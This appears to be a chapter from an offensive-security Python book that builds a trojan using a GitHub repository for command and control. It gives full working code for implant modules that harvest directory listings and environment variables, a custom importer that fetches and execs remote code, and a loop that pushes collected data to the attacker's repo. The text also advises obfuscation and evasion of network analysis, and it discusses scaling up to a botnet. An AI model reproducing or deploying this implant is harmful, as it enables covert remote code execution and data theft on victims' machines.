7
GITHUB COMMAND AND CONTROL

One of the most challenging aspects of creating a solid trojan framework is asynchronously controlling, updating, and receiving data from your deployed implants. It's crucial to have a relatively universal way to push code to your remote trojans. This flexibility is required not just to control your trojans in order to perform different tasks, but also because you might have additional code that's specific to the target operating system.

So while hackers have had lots of creative means of command and control over the years, such as IRC or even Twitter, we'll try a service actually designed for code. We'll use GitHub as a way to store implant configuration information and exfiltrated data, as well as any modules that the implant needs in order to execute tasks. We'll also explore how to hack Python's native library import mechanism so that as you create new trojan modules, your implants can automatically attempt to retrieve them and any dependent libraries directly from your repo, too. Keep in mind that your traffic to GitHub will be encrypted over SSL, and there are very few enterprises that I've seen that actively block GitHub itself.

One thing to note is that we'll use a public repo to perform this testing; if you'd like to spend the money, you can get a private repo so that prying eyes can't see what you're doing. Additionally, all of your modules, configuration, and data can be encrypted using public/private key pairs, which I demonstrate in Chapter 9. Let's get started!

Setting Up a GitHub Account

If you don't have a GitHub account, then head over to GitHub.com, sign up, and create a new repository called `chapter7`. Next, you'll want to install the Python GitHub API library[1] so that you can automate your interaction with your repo. You can do this from the command line by doing the following:

```
pip install github3.py
```

If you haven't done so already, install the git client. I do my development from a Linux machine, but it works on any platform. Now let's create a basic structure for our repo. Do the following on the command line, adapting as necessary if you're on Windows:

```
$ mkdir trojan
$ cd trojan
$ git init
$ mkdir modules
$ mkdir config
$ mkdir data
$ touch modules/.gitignore
$ touch config/.gitignore
$ touch data/.gitignore
$ git add .
$ git commit -m "Adding repo structure for trojan."
$ git remote add origin https://github.com/<yourusername>/chapter7.git
$ git push origin master
```

Here, we've created the initial structure for our repo. The `config` directory holds configuration files that will be uniquely identified for each trojan. As you deploy trojans, you want each one to perform different tasks and each trojan will check out its unique configuration file. The `modules` directory contains any modular code that you want the trojan to pick up and then execute. We will implement a special import hack to allow our trojan to import libraries directly from our GitHub repo. This remote load capability will also allow you to stash third-party libraries in GitHub so you don't have to continually recompile your trojan every time you want to add new functionality or dependencies. The `data` directory is where the trojan will check in any collected data, keystrokes, screenshots, and so forth. Now let's create some simple modules and an example configuration file.

1. The repo where this library is hosted is here: *https://github.com/copitux/python-github3/*.

Creating Modules

In later chapters, you will do nasty business with your trojans, such as logging keystrokes and taking screenshots. But to start, let's create some simple modules that we can easily test and deploy. Open a new file in the modules directory, name it *dirlister.py*, and enter the following code:

```
import os

def run(**args):

    print "[*] In dirlister module."
    files = os.listdir(".")

    return str(files)
```

This little snippet of code simply exposes a `run` function that lists all of the files in the current directory and returns that list as a string. Each module that you develop should expose a `run` function that takes a variable number of arguments. This enables you to load each module the same way and leaves enough extensibility so that you can customize the configuration files to pass arguments to the module if you desire.

Now let's create another module called *environment.py*.

```
import os

def run(**args):
    print "[*] In environment module."
    return str(os.environ)
```

This module simply retrieves any environment variables that are set on the remote machine on which the trojan is executing. Now let's push this code to our GitHub repo so that it is useable by our trojan. From the command line, enter the following code from your main repository directory:

```
$ git add .
$ git commit -m "Adding new modules"
$ git push origin master
Username: ********
Password: ********
```

You should then see your code getting pushed to your GitHub repo; feel free to log in to your account and double-check! This is exactly how you can continue to develop code in the future. I will leave the integration of more complex modules to you as a homework assignment. Should you have a hundred deployed trojans, you can push new modules to your GitHub repo and QA them by enabling your new module in a configuration file for your local version of the trojan. This way, you can test on a VM or host hardware that you control before allowing one of your remote trojans to pick up the code and use it.

Trojan Configuration

We want to be able to task our trojan with performing certain actions over a period of time. This means that we need a way to tell it what actions to perform, and what modules are responsible for performing those actions. Using a configuration file gives us that level of control, and it also enables us to effectively put a trojan to sleep (by not giving it any tasks) should we choose to. Each trojan that you deploy should have a unique identifier, both so that you can sort out the retrieved data and so that you can control which trojan performs certain tasks. We'll configure the trojan to look in the *config* directory for *TROJANID.json*, which will return a simple JSON document that we can parse out, convert to a Python dictionary, and then use. The JSON format makes it easy to change configuration options as well. Move into your *config* directory and create a file called *abc.json* with the following content:

```
[
    {
     "module" : "dirlister"
    },
    {
    "module"  : "environment"
    }
]
```

This is just a simple list of modules that we want the remote trojan to run. Later you'll see how we read in this JSON document and then iterate over each option to get those modules loaded. As you brainstorm module ideas, you may find that it's useful to include additional configuration options such as execution duration, number of times to run the selected module, or arguments to be passed to the module. Drop into a command line and issue the following command from your main repo directory.

```
$ git add .
$ git commit -m "Adding simple config."
$ git push origin master
Username: ********
Password: ********
```

This configuration document is quite simple. You provide a list of dictionaries that tell the trojan what modules to import and run. As you build up your framework, you can add additional functionality in these configuration options, including methods of exfiltration, as I show you in Chapter 9. Now that you have your configuration files and some simple modules to run, you'll start building out the main trojan piece.

Building a GitHub-Aware Trojan

Now we're going to create the main trojan that will suck down configuration options and code to run from GitHub. The first step is to build the necessary code to handle connecting, authenticating, and communicating to the GitHub API. Let's start by opening a new file called *git_trojan.py* and entering the following code:

```
import json
import base64
import sys
import time
import imp
import random
import threading
import Queue
import os

from github3 import login

❶ trojan_id = "abc"

trojan_config = "%s.json" % trojan_id
data_path     = "data/%s/" % trojan_id
trojan_modules= []
configured    = False
task_queue    = Queue.Queue()
```

This is just some simple setup code with the necessary imports, which should keep our overall trojan size relatively small when compiled. I say relatively because most compiled Python binaries using `py2exe`[2] are around 7MB. The only thing to note is the `trojan_id` variable ❶ that uniquely identifies this trojan. If you were to explode this technique out to a full botnet, you'd want the capability to generate trojans, set their ID, automatically create a configuration file that's pushed to GitHub, and then compile the trojan into an executable. We won't build a botnet today, though; I'll let your imagination do the work.

Now let's put the relevant GitHub code in place.

```
def connect_to_github():
    gh = login(username="yourusername",password="yourpassword")
    repo   = gh.repository("yourusername","chapter7")
    branch = repo.branch("master")

    return gh,repo,branch
```

2. You can check out `py2exe` here: *http://www.py2exe.org/*.

```
def get_file_contents(filepath):

    gh,repo,branch = connect_to_github()
    tree = branch.commit.commit.tree.recurse()

    for filename in tree.tree:

        if filepath in filename.path:
            print "[*] Found file %s" % filepath
            blob = repo.blob(filename._json_data['sha'])
            return blob.content

    return None

def get_trojan_config():
    global configured
    config_json   = get_file_contents(trojan_config)
    config        = json.loads(base64.b64decode(config_json))
    configured    = True

    for task in config:

        if task['module'] not in sys.modules:

            exec("import %s" % task['module'])

    return config

def store_module_result(data):

    gh,repo,branch = connect_to_github()
    remote_path = "data/%s/%d.data" % (trojan_id,random.randint(1000,100000))
    repo.create_file(remote_path,"Commit message",base64.b64encode(data))

    return
```

These four functions represent the core interaction between the trojan and GitHub. The `connect_to_github` function simply authenticates the user to the repository, and retrieves the current `repo` and `branch` objects for use by other functions. Keep in mind that in a real-world scenario, you want to obfuscate this authentication procedure as best as you can. You might also want to think about what each trojan can access in your repository based on access controls so that if your trojan is caught, someone can't come along and delete all of your retrieved data. The `get_file_contents` function is responsible for grabbing files from the remote repo and then reading the contents in locally. This is used both for reading configuration options as well as reading module source code. The `get_trojan_config` function is responsible for retrieving the remote configuration document from the repo so that your trojan knows which modules to run. And the final function `store_module_result` is used to push any data that you've collected on the target machine. Now let's create an import hack to import remote files from our GitHub repo.

Hacking Python's import Functionality

If you've made it this far in the book, you know that we use Python's `import` functionality to pull in external libraries so that we can use the code contained within. We want to be able to do the same thing for our trojan, but beyond that, we also want to make sure that if we pull in a dependency (such as Scapy or `netaddr`), our trojan makes that module available to all subsequent modules that we pull in. Python allows us to insert our own functionality into how it imports modules, such that if a module cannot be found locally, our import class will be called, which will allow us to remotely retrieve the library from our repo. This is achieved by adding a custom class to the `sys.meta_path` list.[3] Let's create a custom loading class now by adding the following code:

```
  class GitImporter(object):
      def __init__(self):
      self.current_module_code = ""

      def find_module(self,fullname,path=None):
          if configured:
              print "[*] Attempting to retrieve %s" % fullname
❶             new_library = get_file_contents("modules/%s" % fullname)

              if new_library is not None:
❷                 self.current_module_code = base64.b64decode(new_library)
                  return self

          return None

      def load_module(self,name):

❸         module = imp.new_module(name)
❹         exec self.current_module_code in module.__dict__
❺         sys.modules[name] = module

          return module
```

Every time the interpreter attempts to load a module that isn't available, our `GitImporter` class is used. The `find_module` function is called first in an attempt to locate the module. We pass this call to our remote file loader ❶ and if we can locate the file in our repo, we base64-decode the code and store it in our class ❷. By returning `self`, we indicate to the Python interpreter that we found the module and it can then call our `load_module` function to actually load it. We use the native `imp` module to first create a new blank module object ❸ and then we shovel the code we retrieved from GitHub into it ❹. The last step is to insert our newly created module into the `sys.modules` list ❺ so that it's picked up by any future `import` calls. Now let's put the finishing touches on the trojan and take it for a spin.

3. An awesome explanation of this process written by Karol Kuczmarski can be found here: *http://xion.org.pl/2012/05/06/hacking-python-imports/.*

```
def module_runner(module):

    task_queue.put(1)
❶   result = sys.modules[module].run()
    task_queue.get()

    # store the result in our repo
❷   store_module_result(result)

    return


# main trojan loop
❸ sys.meta_path = [GitImporter()]

while True:

    if task_queue.empty():

❹       config       = get_trojan_config()

        for task in config:
❺           t = threading.Thread(target=module_runner,args=(task['module'],))
            t.start()
            time.sleep(random.randint(1,10))

    time.sleep(random.randint(1000,10000))
```

We first make sure to add our custom module importer ❸ before we begin the main loop of our application. The first step is to grab the configuration file from the repo ❹ and then we kick off the module in its own thread ❺. While we're in the `module_runner` function, we simply call the module's `run` function ❶ to kick off its code. When it's done running, we should have the result in a string that we then push to our repo ❷. The end of our trojan will then sleep for a random amount of time in an attempt to foil any network pattern analysis. You could of course create a bunch of traffic to Google.com or any number of other things in an attempt to disguise what your trojan is up to. Now let's take it for a spin!

Kicking the Tires

All right! Let's take this thing for a spin by running it from the command line.

WARNING *If you have sensitive information in files or environment variables, remember that without a private repository, that information is going to go up to GitHub for the whole world to see. Don't say I didn't warn you—and of course you can use some encryption techniques from Chapter 9.*

```
$ python git_trojan.py
[*] Found file abc.json
[*] Attempting to retrieve dirlister
[*] Found file modules/dirlister
[*] Attempting to retrieve environment
[*] Found file modules/environment
[*] In dirlister module
[*] In environment module.
```

Perfect. It connected to my repository, retrieved the configuration file, pulled in the two modules we set in the configuration file, and ran them.

Now if you drop back in to your command line from your trojan directory, enter:

```
$ git pull origin master
From https://github.com/blackhatpythonbook/chapter7
 * branch            master     -> FETCH_HEAD
Updating f4d9c1d..5225fdf
Fast-forward
 data/abc/29008.data |    1 +
 data/abc/44763.data |    1 +
 2 files changed, 2 insertions(+), 0 deletions(-)
 create mode 100644 data/abc/29008.data
 create mode 100644 data/abc/44763.data
```

Awesome! Our trojan checked in the results of our two running modules.

There are a number of improvements and enhancements that you can make to this core command-and-control technique. Encryption of all your modules, configuration, and exfiltrated data would be a good start. Automating the backend management of pull-down data, updating configuration files, and rolling out new trojans would also be required if you were going to infect on a massive scale. As you add more and more functionality, you also need to extend how Python loads dynamic and compiled libraries. For now, let's work on creating some standalone trojan tasks, and I'll leave it to you to integrate them into your new GitHub trojan.